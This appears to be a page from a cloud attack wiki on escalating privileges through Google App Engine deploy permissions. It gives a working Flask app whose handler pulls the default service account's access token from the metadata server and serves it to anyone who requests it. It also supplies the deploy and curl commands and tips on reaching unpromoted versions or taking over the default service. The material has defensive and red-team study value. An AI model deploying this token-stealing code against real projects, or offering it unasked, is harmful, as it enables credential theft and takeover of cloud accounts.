App Engine

App Engine standard and flexible versions run as the App Engine default service account (<project>@appspot.gserviceaccount.com), which holds Editor by default. With the App Engine deploy permissions (appengine.applications.update / appengine.versions.create and cloudbuild/storage to stage), you ship a version whose handler reads and returns the service account token.

Deploy a token-leaking app#

python
# main.py (Flask)
import requests
from flask import Flask
app = Flask(__name__)
@app.route("/")
def pwn():
    return requests.get(
      "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
      headers={"Metadata-Flavor": "Google"}).text
bash
gcloud app deploy app.yaml --quiet
curl "https://<project>.appspot.com/"

Exploitation notes#

  • The default App Engine account is Editor, so a deploy is effectively Editor code execution; chain to a token-yielding resource for anything beyond Editor.
  • Deploying a new version does not route traffic until promoted, but you can hit the versioned URL directly, or --promote to take over the default.
  • App Engine deploys stage through Cloud Build and a staging bucket, so the deploy permissions pull in those services.

Tools#

  • gcloud (app deploy): the deploy.

References#

Cookie Consent

We use cookies to enhance your experience. Learn more